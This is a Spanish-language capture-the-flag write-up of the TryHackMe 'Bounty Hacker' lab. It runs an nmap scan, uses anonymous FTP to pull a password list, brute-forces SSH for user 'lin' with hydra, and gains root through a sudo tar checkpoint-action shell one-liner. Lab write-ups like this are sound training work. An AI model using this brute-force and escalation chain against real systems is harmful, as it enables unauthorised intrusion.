Bounty Hacker
January 8, 20233 minutes
https://tryhackme.com/room/cowboyhacker
IP Atacante = 10.10.10.10
IP Víctima = 10.10.131.60
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
❯ ping -c 1 10.10.131.60
PING 10.10.131.60 (10.10.131.60) 56(84) bytes of data.
64 bytes from 10.10.131.60: icmp_seq=1 ttl=63 time=57.5 ms
--- 10.10.131.60 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 57.483/57.483/57.483/0.000 ms
En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación
Escaneo de puertos (nmap)
Ahora empezamos con un escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.131.60 -oG allPorts
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
-sS –min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Skip host discovery |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPort |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.131.60
5 │ [*] Open ports: 21,22,80
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴─────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos
❯ nmap -p21,22,80 -sC -sV 10.10.131.60
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.18.80.135
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dcf8dfa7a6006d18b0702ba5aaa6143e (RSA)
| 256 ecc0f2d91e6f487d389ae3bb08c40cc9 (ECDSA)
|_ 256 a41a15a5d4b1cf8f16503a7dd0d813c2 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
FTP
El nmap reporto que podemos acceder al ftp como anonymous.
Al entrar vemos dos archivos los cuales nos podemos pasar con get a nuestra máquina
En el archivo locks.txt vemos que hay una lista de a lo mejor posibles contraseñas y en el task.txt vemos lo siguiente
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.
-lin
1.) Proteger a Vicious.
2.) Plan para recoger a Red Eye en la luna.
-lin
Ya tenemos un usuario (lin)
SSH
Con hydra vamos a intentar hacer fuerza bruta al usuario lin con las posibles contraseñas del logs.txt que nos hemos pasado anteriormente a nuestra máquina
hydra -l lin -P locks.txt 10.10.131.60 ssh -t 40
Ya tenemos la contraseña
Escalada de privilegios
Con sudo -l
y proporcionando la contraseña que hemos encontrado anteriormente vemos que el usuario lin puede ejecutar tar como root.
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
Ya somos root